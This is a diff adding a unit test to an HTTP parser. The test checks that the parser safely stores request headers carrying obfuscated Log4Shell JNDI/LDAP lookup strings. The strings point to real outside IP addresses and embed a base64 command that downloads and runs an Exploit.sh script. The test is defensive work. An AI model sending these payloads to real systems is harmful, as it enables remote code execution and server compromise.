@@ -763,3 +763,51 @@ def test_proxy_protocol_not_for_response_parser(self) -> None:
763
763
httpParserTypes .RESPONSE_PARSER ,
764
764
enable_proxy_protocol = True ,
765
765
)
766
+
767
+ def test_is_safe_against_malicious_requests (self ) -> None :
768
+ self .parser .parse (
769
+ b'GET / HTTP/1.1\r \n ' +
770
+ b'Host: 34.131.9.210:443\r \n ' +
771
+ b'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
772
+ b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
773
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r \n ' +
774
+ b'Content-Type: application/x-www-form-urlencoded\r \n ' +
775
+ b'nReferer: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
776
+ b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
777
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r \n ' +
778
+ b'X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}' +
779
+ b'://198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
780
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r \n ' +
781
+ b'Cookie: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
782
+ b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
783
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' +
784
+ b'\r \n \r \n ' ,
785
+ )
786
+ self .assertEqual (
787
+ self .parser .header (b'user-agent' ),
788
+ b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
789
+ b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
790
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' ,
791
+ )
792
+ self .assertEqual (
793
+ self .parser .header (b'content-type' ),
794
+ b'application/x-www-form-urlencoded' ,
795
+ )
796
+ self .assertEqual (
797
+ self .parser .header (b'nreferer' ),
798
+ b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
799
+ b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
800
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' ,
801
+ )
802
+ self .assertEqual (
803
+ self .parser .header (b'X-Api-Version' ),
804
+ b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}' +
805
+ b'://198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
806
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' ,
807
+ )
808
+ self .assertEqual (
809
+ self .parser .header (b'cookie' ),
810
+ b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
811
+ b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
812
+ b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' ,
813
+ )
0 commit comments